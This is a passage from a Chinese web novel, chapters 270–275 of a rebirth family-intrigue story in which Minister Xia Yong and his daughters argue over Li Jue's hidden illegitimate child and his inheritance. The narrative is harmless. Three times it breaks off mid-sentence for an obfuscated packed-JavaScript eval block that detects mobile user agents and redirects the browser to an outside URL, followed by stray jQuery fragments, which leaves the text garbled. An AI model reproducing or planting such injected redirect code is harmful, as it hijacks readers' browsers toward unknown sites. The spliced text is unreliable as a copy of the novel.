夏庸偏袒夏明月,他也想让夏明嫣无条件地帮助夏明月,这些都不假,可他同时也不想让夏明月欠了夏明嫣的情,尤其不想让夏明嫣意识到夏明月是欠了她的情的。 因此夏庸不会挑明这件事对夏明月同样重要,反而还会淡化这种影响,让夏明嫣觉得他支持那女子进华家为妾,是为了她夏明嫣的名声考虑,是为了给她出气! 夏庸见夏明嫣有这种“报仇”的想法,心里松了一口气,立刻道:“你们想的是对的,这种人还是早点收进门去,等进了门,你再拿出正室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593666|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做派来收拾她也不迟!” “何夫人不答应?她有什么权力不答应?婚姻大事,父母之命媒妁之言,这女子的亲爹都答应了,她一个姨母敢不答应。” “你放心,这件事有为父为你做主,她要是敢干涉她的外甥女进府做妾,我就去元京府告她和她儿子一个悔婚在先,后又意图停妻再娶,之后瞒而不告,我看她那张老脸还往哪儿放。” “这件事你只管坚持就对了,她可不占理,要是你们退让了,她反而会更嚣张。呵,都到了这份儿上了还敢招摇过市?” 要是这件事真告上去,李玦是个孝顺的儿子,那婚事又没成,或许还能推说他事先不知情,都是何夫人自己包办的。 可是何夫人是推脱不了的,有婚书在,她又是那女子的姨母,这件事跟她脱不了干系。 这件事最让夏庸气愤的是,何夫人的态度嚣张至极,竟然半点不知道收敛,干了这种停妻再娶、贬妻为妾的事,事后竟然还不把尾巴扫干净。 按理说,这段婚事废止不做了,这家人又是个落魄的,听来听去就有父女两个人,就该把婚书收回去,再花些银子,把这二人送走,至少近几年不要让他们在元京露面。 尤其这女子的父亲还是个醉鬼,嘴上没个把门儿的,这种话都敢说给董氏听,谁知道他哪天还会说给谁听?这样的人家,竟然还能在元京到处走动。 这还不算,夏明嫣刚刚还说,就在最近这何夫人竟然还跟这女子一起走动过。 这说来就更让人气愤了,夏明月回府时对端侯府的那些亲戚多有抱怨,可是她从来就没有提起过还有这女子这号人物,就说明这女子并没有在端侯府内走动。 何夫人跟她见面,定然是在府外偷着见的,这就是既心虚要瞒着夏明月和夏家,又想在外人面前明目张胆地炫耀。 就好像在说,看,她们都这么嚣张了,夏家人还不知道! 第270章还不是为了你好? 夏明嫣火上浇油地道:“父亲说的是,何夫人这个人真是太张狂了,那日去端侯府,她还夸我贤淑礼让比二妹妹强呢,谁知道背地里竟然是这样的人。” “我倒是无所谓的,我又没嫁过去给她做儿媳妇,她想欺负我也欺负不着,反倒是二妹妹……她苦啊,有这么婆母在,她要怎么活?” “这次的事也是一样,明明是他们母子不对,到头来还得让我们忍下这口气。尤其是二妹妹,还得认下那孩子,他们真是作孽啊。” 可不就是如此?被欺瞒、戏耍的是他们夏家,到头来打落牙齿和血吞的也是他们夏家,简直岂有此理! 夏庸都快气疯了,可是理智告诉他,眼下不是跟端侯府大闹一场的时候,圣上早就要削减军侯府,就连他夏庸都是这当中部署的一步棋。 他能坐在兵部尚书这个位置上,首先要做的就是逐步将能收归兵部的军侯府府军都收回去,暂时不能的也要做好准备和铺垫,为将来收归做准备。 圣上这边更是恨不得揪住一点儿小辫子就裁撤几个侯府,他总不能说别的侯府可以裁撤、削爵,而他自己的女婿不可以吧? 其实夏庸心里跟明镜似的,圣上早就要裁撤端侯府了,要不是对当年那件事还存着疑虑,还想看看端侯府以后还有没有动作,李玦早就变成一介白丁了。 他们现在还能帮李玦袭爵,完全是在夹缝里求存,利用的就是圣上这份“想在看看的心思”,只要圣上迟疑了,他们就能让李玦袭爵。 而只有让李玦和何夫人顺心如意了,他们才不会发疯用那件事把楚、夏两家牵扯进去,才能在将来如果那些宝藏还有重见天日的一天,如果端侯府的大图谋还能够成功的时候,搭上这艘大船。 夏庸不是那等爱做白日梦的人,凭空想着一个落魄侯府能够中兴成为一代雄主,而是那笔财富实在是太大了,而且端侯府在南边还有些暗中的人手,让他不得不依然存有这样的指望! 既然如此,那还能怎样呢?他们依然不能撕破脸呗,那就还得继续这么过下去。 算账报仇那是将来的事,眼下他们要做的是如何把这件事的影响降到最低,不要让圣上因此发了话不让李玦袭爵,把话说**。 这件事必须有华家配合,还华景和清白没问题,可是李玦外头有孩子这件事还必须低调处理。 夏庸一时间想到他必须得见一见元京府尹张礼岁张大人才行,得跟他好好说道说道,千万不能把事情闹大了,这事儿一大可就了不得了。 要知道李玦这可不止是在成婚之前与贱籍烟花之地的女子有染还生了孩子这么简单,若只是如此,这虽然违反了律法,却未必违背了人情。 可偏偏这三年多以来,李玦对那吕家母子不闻不问,脱籍还是人家娘家找到了人,证明了吕大姑娘是小时候被人拐走了才办到的。 那孩子如今还是贱籍,只要李玦站出来说一声这孩子的生父也是良籍,就可以脱籍了,却一直这样不明不白由吕家养着,他一点责任都没担,还很可能一文银子都没给。 虽说这样做从夏明月和她娘家人的角度来说倒也还可以,这也说明了李玦跟这个吕大姑娘只是玩儿玩儿而已,真正珍之重之的是夏明月。 可从世人和圣人的角度来说,这叫连做人的基本情感都没有,不曾抛妻,弃子却是事实,这种行径简直猪狗不如。 这要是让圣上知道了,以他的性子,李玦不仅袭爵没指望了,将来科考以功名入仕或是去军中历练可就都完蛋了。 到时候李玦怕是连一个平民男子都不如了,可他依旧是夏明月的夫婿,要是这种情况下夏明月直接跟李玦和离的话,先别说夏明月自己肯不肯,就说世人怎么看吧。 李玦这弃子的行为已经不好了,夏家再见风使舵地让女儿和离,夏家的名声一样好不了。 还有夏明月,要是让她知道李玦袭爵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596323|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无望了,还不知道要怎样发疯大闹呢,说不定连夏家的屋顶都得拆了。 夏庸头一次怪起了楚氏和楚霆孝,他们怎么就把夏明月教成了这副样子,还比不上夏明嫣。 这件事要是换在夏明嫣头上,不说能处理得多漂亮,至少她很能忍气吞声、息事宁人,只要她摆出一副贤德大妇的样子,把那孩子接回去,再跟李玦商量一套说辞出来,再安抚了吕家那边,这事儿搞不好还能逆转过来,给李玦提升形象呢,可偏偏闹成这副样子。 夏庸刚想再劝夏明嫣几句,让她回去请华靖离过来一趟,两家人商量一下这事儿该怎么办,正院儿门口就传来一阵骚乱。 “二姑娘,您怎么回来了?老爷和大姑娘在里面说话,您别……” 夏明月这会儿就回来了?这倒也罢了,可是小厮明显是后发现的夏明月,刚才夏明嫣说最后那几句话的时候,夏明月明显已经在院子里了。 夏明月显然听到了夏明嫣最后那几句话,她没听全,只当是夏明嫣只说李玦母子的不好,还要看她的笑话呢。 夏明嫣一看夏明月来了,立刻装作没反应过来的样子:“二妹妹,你可算回来了,我让秋果去请你,看来那丫头还算得用,事情她都跟你说了吧?” “我比你先回来一会儿,索性先跟父亲商议着这件事该怎么办,没想到越商量这事儿越大、越多。你回来的正是时候,咱们坐下来一起商量一下吧。” 这时候就是该一家人坐在一起合计合计,可夏明月偏偏不按常理出牌,她直接就朝着夏明嫣冷笑起来: “我就说阿玦哥哥在外面有了孩子了,你怎么就巴巴地来让人告诉我来了,原来是要看我的笑话啊。我看,这事儿也未必就是真的,你就是想看我笑话。” 夏明嫣看了看夏庸,委屈得泪珠子直往下滚:“我哪里是要看你笑话,我一得知你婆母私藏了那孩子,我就去告诉你了,还不是为了你好?” 第271章远比想象的严重 夏明嫣委屈得跟什么似的:“我要真想看你笑话,就让你到了公堂上再知道。我就不明白了,我从前并没有得罪过你,为什么我一回来,你就对我有这么大的敌意呢?” 夏明嫣说到点子上了,现在书房里只有他们父女三人。夏庸没有重生,她和夏明月都重生了,夏明月却以为只有她自己是重生的,这种情况夏明月当然是怪她的。 可是在夏庸眼里却不是,**前尘往事,现在在他眼里可不就是夏明月无端针对她吗? 像夏庸这样的男人,很少会去总结、梳理日常琐事,从前他并没有觉得夏明月一直在针对夏明嫣,可是被夏明嫣这么一提醒,他再仔细回想了一下,可不就是这样吗? 夏庸这回可不敢再纵着夏明月了,他用力一拍桌子,指着夏明月就道:“这是你长姐,注意你的礼数!你也不小了,也是当了世子夫人的人了,还这样不懂事!” “你长姐回来也是要跟我商量,看看这件事如何处理,才能让你们保住颜面。你有没有想过,这件事要是让圣上知道了,你的阿玦哥哥还能袭爵吗?” 这里面的事儿夏明月不知道,可是夏庸却是心知肚明的,圣上想找到那笔失落的宝藏,现在手段上还是文着来的,因为他清楚端侯府之所以还能如此苦哈哈地过穷日子,多半是因为那些东西现在根本取不出来。 那么他即便查到了确切的证据,一堆价值连城却拿不出来的东西对她也没多大用处,倒不如慢慢等着,说不定还能钓出几条幕后的大鱼来。 可要是圣上现在觉得整个端侯府藏污纳垢实在太不堪了,根本连个“鱼饵”都担不起,那么他就不如废了这“鱼饵”索性破罐子破摔,用别的途径寻找那些东西算了。 等到那时候夏明月还会这般想着李玦么?不得不说夏庸是了解这个女儿的,别看夏明月平时嘴上说的对李玦有多好,其实她对李玦的情意不过是开在富贵里的花。 若是有一天那富贵变成了泥淖,她很快就会厌烦,然后想着逃离去寻找她的另一个情郎。 反观夏明嫣,除非她的夫君为人太过不堪,否则即便她对这个人没有多少夫妻情意,为了责任,她也会坚守下去。 所以提醒夏明月要是她再闹,李玦和她都可能一无所有才更紧要。 夏明月果然冷静了一些,只是这回她嗤之以鼻地对象又多了一个身为她亲生父亲的夏庸: “父亲,这话就过了吧?不过是成婚前在外面有了女人,还生了个孩子罢了。最多不就是这女子和孩子的身份不体面,是贱籍么?” “圣上还能为了这么一点儿事儿就不让我夫君袭爵了?父亲,你怎么跟长姐一样喜欢危言耸听,你该不会是被她骗了吧。” 夏明嫣这副样子简直太有意思了,分明就是觉得所有人都要害她,索性连亲生父亲都怀疑上了。 反倒是李玦这个罪魁祸首,她进院儿到现在,别说指责、谩骂了,她是连句谴责、抱怨的话都没说啊。 对这样的人,真是懒得劝!可是夏明嫣想到方才夏庸一直在让她帮着劝夏明月,她什么都不说也不好:、 “二妹妹,你误会父亲了。我原想着都是妇人、孩子的事,没想到经过父亲的提点,我猜发现这事儿是我想简单了。” “二妹妹,你想想,既然何夫人能不动声色地把那孩子藏起来,定是已经查证了那孩子的身世的。那么,这孩子的娘亲吕大姑娘又是**的?” “府衙还人清白,向来没有还了一半儿却不管另一半儿的。华家二弟已经能证明那孩子是世子妹夫的了,这嫌疑便先去了一半儿,他那日被带走前说过,他在吕家的铺子里压根儿就没认出吕大姑娘,更不曾有后续的那些事儿。” “如今看来这些也都是真的,那么府衙里所谓的那些人证就多半都是假的了,是假的就一定能查出来,何况是华家人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600265|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查的。那么,他们能证明何夫人才是那最可能害死吕大姑娘的人,还需要很久吗?” “一旦证明了,她可是世子妹夫的母亲,嫡亲的母亲,你真的觉得圣上会把他们母子完全分开来看,一点都不牵连到他身上么?” 夏庸听了连连点头道:“你长姐说的很对,是他要袭爵不假,可端侯府是一个整体,这当中又牵扯到母子血脉和家风传承,你公爹当年去的也不光彩,这桩桩件件放在一块儿,远比你想象的严重。” 夏明月这时候也怕了,只是她还想让别人都让着她:“是,严重,可是这事儿也不是我说了算的,我也是被欺瞒的那个,我现在又不能把那孩子塞回去。” “要我说,这件事既然是华家私下调查的,事儿还没捅到府衙去。要不就让华家牺牲了那个小庶子,不去府衙陈情,左右府衙那边也没有实证,那小庶子也不会被流放或刑囚,顶多就是名声不好听,背着个疑案,将来考不了功名罢了。” “况且我听说要不是有他那个生母挑唆,他根本无心功名,那就更好了,大不了将来端侯府赔他笔银子过日子罢了。” “长姐,这么做对你和华侯姐夫也有好处啊,这样的庶子是不可能替你们分担承担家业的辛苦了,以后你和华侯的孩子就可以继承华家全部的家业了,且不是更好?” 说到夏明嫣和华靖离将来的孩子时,夏明月眼中闪过一抹阴毒,她直到现在都压根儿不觉得华靖离和夏明嫣会有自己的孩子。 之前她觉得重生之后发生变化的事儿有点太多了,她担心会不会连她们身边的人的命运都改变了,从而影响到她们各自命运的走势。 于是,她凭着记忆去找了几个旁人验证了一下,发现那些人的命运一点都没有改变。 怎么说呢,要说小事儿尤其是一些细节的确有变化,可这些人总体的命运都没有变。她相信,她跟夏明嫣的命运也是如此。 第272章是个好女婿 因为换亲引发的效应,的确导致了一些变化,可是大家的总体命运应该是没有变化的,至少大体上没有。 而且华靖离上辈子可是有好几个妾室的,她那时有很长时间被关在家庙,没办法收拾那些妾室,就是那样华靖离也没有个一儿半女的。 这辈子华靖离娶了夏明嫣,明显他们之间的关系要比上辈子她跟华靖离的好,这大概是因为在华靖离伤重期间夏明嫣不仅动用了杨家的关系请来名医还衣不解带地服侍在侧吧。 这些也符合夏明嫣的情况和她的行事做派,毕竟杨氏是她的母族,她身上有杨氏一半的血脉,虽然外祖父已经不在世了,可是亲舅父还在,这种时候要是一点忙都不帮,也说不过去。她还是那种劳碌命,不吃苦、不受罪就浑身不舒服,她宁肯累死自己,也定是要把华靖离照顾得妥妥帖帖的。 如此以来,华靖离“康复”之后一定会引起一连串的变化,许多小事儿跟前世的不一样就简直太正常了。 可是华靖离那方面有问题这一点不会变,况且之前华靖离还亲口跟李玦透露过,他如今的康健只是表面的,其实内里的暗伤是不可能好的,这样的人这辈子一定跟前世一样子嗣艰难。 因此,她祝夏明嫣和华靖离多几个孩子好跟华靖和争华家的产业,这话根本就不是真心的,因为她压根儿就不觉得这两个人在一起会有孩子。 她这么说完全就是想让夏明嫣跟华靖和斗起来,华靖离高风亮节可以不在乎那些俗物,她夏明嫣真能不在乎了?她能眼睁睁地看着华靖和这个守业的庶子得了大半家业吗? 不管夏明嫣有没有孩子,身为侯夫人,这一任华家的当家主母,她都应该看不下去。 况且上一世夏明月并没有接管华家中馈,老实说她虽然因此暗恨华家人看不起她,恨董氏死抓着掌管中馈的权利不放,可是她也没受过掌管中馈的辛苦,那么被华靖和占了便宜去,她心里也能好受些。 可是以夏明嫣眼下的势头来说,她定是要执掌中馈的,她受了那份苦了,却便宜了别人,她怎能甘心? 只要他们斗起来了,华靖和不济事儿没什么,他背后还有一个卜小娘,那可是一个从宫里出来的女人,为了她自己的儿子,她什么事儿做不出来? 夏明嫣哪里猜不到夏明月的心事,要是前世,她为了讨夏庸欢心,定然要表决心说自己不会让华靖和好过,一定要把华家的东西占住了,将来也能帮一帮家里。 毕竟那时在端侯府,府里的底子都那么薄了,她还能想法子帮着夏家,没道理到了家底厚重的华家反而不能了。 可她再也不像前世那么傻了,夏庸心里没有她这个女儿,楚氏更是从头到尾都没有,她何苦为了这一家子人筹谋呢? 沈小娘现在已经住到外面去了,这府里也就是朱老太太一个让她挂心的,再要说还有半个,就是夏登云还不错,是迂腐却正值的少年郎。别的人,她管他们死活干吗。 夏明嫣当下就做出了委屈而无能的样子:“二妹妹,我不能跟你比,你自小在元京长大,楚相是你的外祖父,父亲是尚书大人,母亲是诰命夫人,你在他们身边耳濡目染的,学了一身的本事。” “我小时候就回了卢阳,纵使托了母亲的福,有女师教导,可是在那穷乡僻壤学的东西,来了这元京哪里还行得通……这就像是那小地方的书生,书读的在好,真让他们做了官却是难使得的。” “我可比不上二妹妹你的本事,今天跟这个斗,明天又跟那个斗。父亲,这华家二弟虽是个纯善之人,可她的生母卜小娘却是个厉害的,就是我婆母都得顾忌她几分。” “公爹对她虽比不得对婆母,可毕竟顾忌着她的出身,她在外头也有些人脉,这回能让华家二弟破例参选,就是她找了人出的招。” “我可不敢跟她 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为此夏明月还假装抹了几滴眼泪:“父亲,您看长姐,明明就是一个庶子的前途罢了,她连这些都要跟我计较。我在端侯府多不容易啊,才进门不到一个月,贵妾就进了府,还是阿玦哥哥的表妹。” “这件事闹出来,我还有脸面吗?他们还不得把我往死里欺负啊,父亲,您跟长姐说说,就帮我这一次吧。要是我能把这次的麻烦摆平,阿玦哥哥一定会对我更好的。” “父亲,您不是一直都想要一个听您话的女婿吗?之前阿玦哥哥想重建李家军,您不同意,这回我们帮了他,他一定会感激我们的,也会对您言听计从。” “华侯这个女婿虽好,可他能事事以您为先吗?他不能。等到阿玦哥哥袭了爵了,他也一样是侯爷,将来他从军中回来,就在元京任职,他一定会好好孝顺您的。” 高门结亲,结的是两姓之好、互为臂助,华靖离再好,他不帮着夏家,那作用也就是那么回事儿。 第273章逼急了,她也不管了 李玦再比不上华靖离,只要他肯为华家所用,就依旧是可塑之才。 况且夏庸至于夏登云一个儿子,又是个书呆子,华靖离将来还是要回北疆去的,远水解不了近渴,夏庸年纪大了,元京这边还是需要有人照顾的。 夏明月自认李玦比华靖离合适,自然想着夏庸听了会站在她一边,而且因为李玦上辈子最后是被封了王的,她笃定现在的李玦只是还没有成熟起来,还有无限的潜能等待激发,他将来一定会超过华靖离! 夏明嫣不等夏庸有所回应,直接就急了:“二妹妹,原本就不会有这档子事儿,别以为我不知道,二弟他原本根本就进不了终选,是你让人在背后故意抬高他的才学,还想了法子让他进了终选。” “你这么做是为了他好吗?是为了让我跟你姐夫高兴吗?当然不是了,你是想着等到了终选,将这样一个本就名不符实的对手打压下去费不了多少事,还能趁机让华家好看,这样才好凸显你的好夫君不比你姐夫差,是也不是?” “你的这些算计,你以为华家不知道吗?你不要狡辩,要是我方才说错了哪句,你自己去跟华家人解释去。纸是包不住火的,他们已经都知道了,要不是看在我照料侯爷伤愈有功的份儿上,他们已经去端侯府找你理论了!” “二妹妹,人在做,不说天在看,你婆母何夫人也在看呢,你可别忘了,当初她老人家可是反对世子妹夫去参加擢选的,是你一意孤行才把他推了上去。现在惹出事儿了,惹得华家上门责难,你说她会怎么看,怎么对你!” 夏明月万万没想到华家人已经知道了她背后的谋算,脸上青一阵白一阵的: “你胡说……我没有,我是让人帮忙让华靖离进了终选,可那也是给了他露脸的机会了,他自己把握不住,华家人也不帮他,能怪得了谁?” “你就是胳膊肘往外拐,父亲,您就帮帮阿玦哥哥吧?他将来一定会很有本事的,说不定还能封王拜相呢,我跟您保证,您帮了他,帮了我,一定不会后悔!” 夏明月嘴上说着“说不定”,语气却是无比笃定的,她不好把上辈子的事儿说出来,可她觉得夏庸能够感受到她的坚定和她话里的那份真实。 可这在夏明嫣眼里却是会令她发笑,上辈子李玦能够被封为端王,令他成功的因素实在太多了。 要不是他无耻地害死了华靖离,他能把平定南疆的不世之功放在他自己身上? 不是在邓澜和她的帮助下端侯府上下一心,每个人都在给他找助力,在他身上绑上了各种利益共同体,让这些人不帮着他上位都不行,他能有后来的那天? 夏明月上辈子大部分时间都待在华家家庙,虽然清苦了些,却没受多少罪,更加体会不到上位过程中的艰难和卑微。她只知道她从家庙出来的时候李玦有多风光,却不了解这过程中每个与之相关的人都经历了九死一生的艰难和险境。 夏明嫣这时都不用装了,直接露出了嘲讽的表情:“封王拜相?这话二妹妹也敢说,妹夫还没袭爵呢,你就做上这样的美梦了?父亲,我是在乡野之地长大的,说话不好听,可说的一定是实话。” “从古至今,有几人是年少时封王拜相的?就是二妹妹的外祖父楚相,出身相门世家,也是年近五十时才拜的相。就算妹夫也有这一天,父亲您多大岁数了?您还在世吗?您还享的上这份女婿福吗?” “你……明嫣,慎言,你这是在咒为父吗?”夏庸听得一愣,虽然他心里也是这么想的,可到底脸上有些挂不住。 有些话是实话,可是不能说,这不是在咒他早死吗? 不过,这不是他呵斥夏明嫣的主要原因,他现在已经对夏明月很失望了,结果刚刚让他看得起些的长女又变成了一个嘴上没禁忌的,要是夏明嫣也这样下去,怕是将来在华家也不会太好。 两个女儿都没了前程,他心里的那份指望眼看着就要落空了,这叫他怎能甘心。 一时间夏庸心里百感交集,一股面对命运竟无力抗争的沧桑感瞬间袭上心头,难道夏家这一代会比他这一代更加艰难吗? 他父亲当年到底是怎么想的,怎么就跟端侯府搅和在了一起,又为什么要给两个孙女定下这样的亲事,简直岂有此理! 没等夏庸从这样的情绪里走脱出来,夏明嫣就先发制人地嚷嚷起来:“父亲,这种时候您可不能糊涂啊,我不管世子妹夫将来是封王拜相还是能成了什么世外高人了,那都是以后的事。” “眼前都顾不上的时候,哪里来的以后?要不是我拦着,华家人已经打上门来问责您教女无方了。要是他们当真上门来了,您能如何?侯爷前日刚进宫面圣,圣上赏了两大车的东西下来,他圣眷正隆,你敢触他的没头么?” “您和二妹妹不在华家,不知道这里面的事儿,华家二弟虽是庶出,他的生母卜小娘的确与我婆母不睦多年,可是侯爷这次伤愈之后,忽然就反省起来,觉得从前对这个弟弟不够关心、疏于照料。” “这不?马上就要安排他去北疆历练了,说句二妹妹不爱听的话,侯爷之所以答应妹夫去北疆历练,那是让他跟二弟同去的。若是二弟不去,或是去不了了,他根本就不会单独安排妹夫去。” “他如今正是重视这个弟弟的时候,您让他忍下这口气,如何使得?您可得当心了,现在这件事还能两家人之间、能在元京府解决。” “要是您执意要按二妹妹说的行事,行,我也不管了,你们自己折腾去吧。把我家侯爷逼急了,上道折子告到御前,或是直接进宫告上一状。父亲,您就等着吃不了兜着走吧。” 告御状,哪里就至于这般严重了?可是真的就不至于吗? 第274章令三家都满意 当年跟华家定下亲事,完全是因为夏老爷子跟华家老太爷交情好,并没有别的图谋,正因为如此,等到夏庸这代跟华叶峰无甚交情了,这关系自然也就一般了。 要是指望华靖离这个女婿顾着夏家的颜面不把这件事闹大,恐怕很难,而且人家要闹大也不全是因为这件事的。 华靖离从遇刺重伤到伤愈,这中间还缺了一件响亮的大事替他告诉世人他不仅真好了,他和华家在圣上面前隆宠依旧! 要是把端侯府和夏明月告到御前去,就刚好是一件响动大还不至于上纲上线的大事儿,而且这事儿最终处置了之后,还没人说他这个做女婿不孝、不义。 因为夏明月已经嫁到端侯府了,就是人家的人了,他跟李玦是义兄弟,可是这件事李玦并没有主动参与,是夏明月伙同楚家人干的,楚家人的确是夏明月的外家,从礼法上来看也是夏明嫣的外家,可这毕竟隔着几层呢,算不得他不道义。 这么想来,华靖离要是真铁了心要把这件事捅到宫里去也不是不可能,正好向圣上和世人表示一下,他华靖离战功赫赫又如何?都说他功高震主,可是他和他的家人不一样要被一个妇人家算计? 这么一闹,夏家名声定然受损,而夏明月就算不被逼死,也得被端侯府软禁了,以后怕是想出来露个面都难。 夏庸到底是舍不得夏明月的,语气很快就软了下来:“这话是怎么说的,我也不是那等是非不分之人。明月,这件事不能这么办,华家不是好相与的,他们不答应,你长姐去劝说也没用。” “我看这件事能低调处理就好,咱们三家商量一下,请元京府的张大人做主,在府衙后堂审理便是。明月,你也不必认下你在背后做的这些挑唆勾当,咱们只说华靖和没有动机干下那等恶事,将他洗脱出来就是了。” “明嫣这边试着劝劝华侯,你们可以帮着华靖和洗脱冤屈,可是就不必指认何夫人了,她一个妇道人家,盼孙心切,也不容易。那个什么吕大姑娘,不活一介草芥妇人,早就没了名节了,为了她,搭上何夫人一条命也不行,那可是明月的婆母啊。” “至于明月,你既已嫁人,就是端侯府的人了,你是世子夫人,是端侯府将来的主母,理应贤良淑德、有大妇之风,那孩子不过是个两三岁的孩童,带回府里养着就是了。” “你若看不过眼,不想养在内院,反正是个男孩子,你就把他送到府里外院去,交给管家或是寻个武师傅带着,每个月多花几两银子养着就是了,费不了多少事儿。等他打点了,直接安排个差事打发了就是,碍不着你的眼。” 其实夏庸这些话很符合当下大家子处置这类事情的方式,也不是不能接受。 对华家来说,根本的目的是说明华靖和是清白的就行,只要吕大姑娘不是华靖和害的就没事了,至于是别的什么人害的,跟华家无关,华家也不去管。 而对于端侯府这边,何夫人既然已经私下认了这孩子,那便索性公开认了,就说那孩子在生母过世之后寄养在亲戚家的时候走失了,刚巧被出城上香的何夫人碰到,查证下来发现竟有可能是自己的亲孙子,当即便寻了一处府里闲置的庄子养了起来,并不知道吕大姑娘的死另有内情,只道她是想不开才自尽的。 这会儿夏明月把孩子认下来,就是在为婆母和自己的丈夫解困,之后如何安顿那是之后的事儿。总之让这孩子有了新身份,将来衣食温饱、能有个差事,也就不会有人说她闲话了。 当然了,要是能让何夫人和吕家私下谈谈,让吕冠瑛否认这孩子是李玦的,相应的,让李玦将来收这孩子当个义子、养子,两家都能得了体面了,这样最好。 夏明月忍不了这口气,不看这孩子便罢了,将来只要李玦不把心放在这孩子身上,这孩子长大了也就跟府上得脸一点的下人差不多。 再不行,等着再大一点,到了开蒙的年纪,直接找个书院往里一塞,远远地打发了去。 以后也就是每年给书院些束脩和银钱,这般养在书院的孩子,很多将来也就是成亲的时候会回家里报备一下,给他在书院附近或是将来做事的地方置座小寨子,也就相当于这就分出去过了……这应该不是不能忍吧? 夏庸这么安排,其实也还有一个原因,这个原因夏明月不知道,夏明嫣却是能猜到的。 老端侯贪下的那些东西,与其说是交到了儿子李玦手里,不如说是交到了老妻何夫人手里,毕竟那时候李玦还太小,端侯府的一切都掌握在了何夫人手里。 要是华家把何夫人是害了吕大姑娘的人抖搂出来,何夫人就算不被下狱,也得被送去观里关起来。 大恒处置犯了罪的男子和普通女子的地方是各个府衙的大狱,可是处置像何夫人这样贵妇人的地方就是各地官属道观的内狱,这地方说是属于道观,实际上属于官府。 尤其是元京的这种地方,因为里面关着的都是一些真正的贵妇人,朝廷的人颇为重视,以至于这地方把手森严,一旦进去了,这辈子想要再见面恐怕就难了。 这样的话,以后楚、夏两家还有远在北疆的陆家想要动用这笔财富可就更难了,没了何夫人,他们没有南边的那些人手,就算找到了那些东西在哪儿也拿不出来。 因此,就算让夏明月继续受婆母的气,尽管这样的话夏庸会很心疼,他也不能让何夫人被关进这种地方。 况且夏庸不太清除具体的情况,他不能确定圣上那边是不是一直暗中派人盯着侯夫人,万一是呢,这人一旦被关进了那种地方,只怕会被这些人用上手段去,逼着她把秘密说出来。 等到那时,就不是那些东西再没可能重见天日的问题了,他们几家都得一起获罪! 第275章胳膊肘往外拐 夏庸不能把这背后的事儿告诉夏明月,可是他觉得即便他不说,他说的这种法子也是可行的,夏明月应该懂。 可是夏明月却不干了:“凭什么让我认下那个孩子?那孩子出生的时候,正是我跟阿玦哥哥最好的时候,外面的人都知道我们是青梅竹马、情比金坚,我为了他,连华家的婚事都毁了,宁肯当这个不上不下的世子夫人,也不做堂堂正正的钩翊侯夫人。” “结果我现在要告诉所有人,就在我们最好的时候,他跟别的女人有了孩子了,还是一个那样的下贱女人!你们让我怎么办?不行,我不在乎华景和是不是无辜的,可这个孩子我不能认。” “阿玦哥哥也不能认,父亲,这种时候你至少应该去跟我那好婆母说,不让她认那孩子。她这样把孩子不明不白地养在外面,现在只是华家知道了,将来更多的人知道了,只会让我没法做人!” 这要是别的事,夏庸和楚氏大概真的就去说了,可是这是人家亲孙子的事儿,何夫人就算被他们逼得面上不认这孩子了,人证、物证也都消失了,何夫人心里能不想着这个孙儿吗? 这种事别管你谁强谁弱,你权势再大,你能管天管地,却管不住人家心里究竟是怎么想的。 既然如此,又何苦干那种掩耳盗铃的傻事儿呢?倒不如表面上大方点,认下了之后,反而好处置。 夏庸这会儿是真对夏明月失望了了,这个女儿未出嫁时在家里这般做派倒也还不错,因为那时的她虽然蛮横些、性子娇贵些,可到底还是在为家里着想的。 现在她满心满眼的只有她的阿玦哥哥和他们之间那些被传颂的海誓山盟,是半点没有家里的得失利害的。 夏庸失望之下便道:“人生在世哪儿能事事如意?你既已嫁作人妇,就该明白这些道理。你现在已经不只是夏家的女儿了,你还是端侯府的儿媳妇,将来的李家宗妇,你连这点委屈都忍不下来,将来还怎么办?” “你嫁人之前我便说过,你要想要一个忠贞的丈夫,他李玦绝不是一个好人选。像你姐夫这样的人,纵使将来后宅里有了别人,心里也是看重你长姐的,可李玦他不一样。”、 “明月啊,我以为你明白。李玦的样貌好,你自小便心仪于他,可这元京的儿郎里,相貌好、仪表上佳的儿郎少吗?不少,就算比他李玦差些,也差不到哪儿去,可为何单单他李玦名声最显?” “因为他懂得造势,他知道自己的文采、舞艺俱不如人,他便想了这法子。他是用自己外在的这些优势来弥补他的不足了,说句难听的,他就是在拿他的脸、拿他这个人当器物使唤……这样的一个人,他从小就被女人宠坏了,他将来不可能只守着你一个!” 夏庸说完先就捂着心口在一旁喘起了粗气,这番话真真切切的是他的肺腑之言。 夏明嫣听了都愣住了,没想到夏庸一直是这么看李玦的,不过可惜,上辈子夏庸从来没有对她说过这番话。 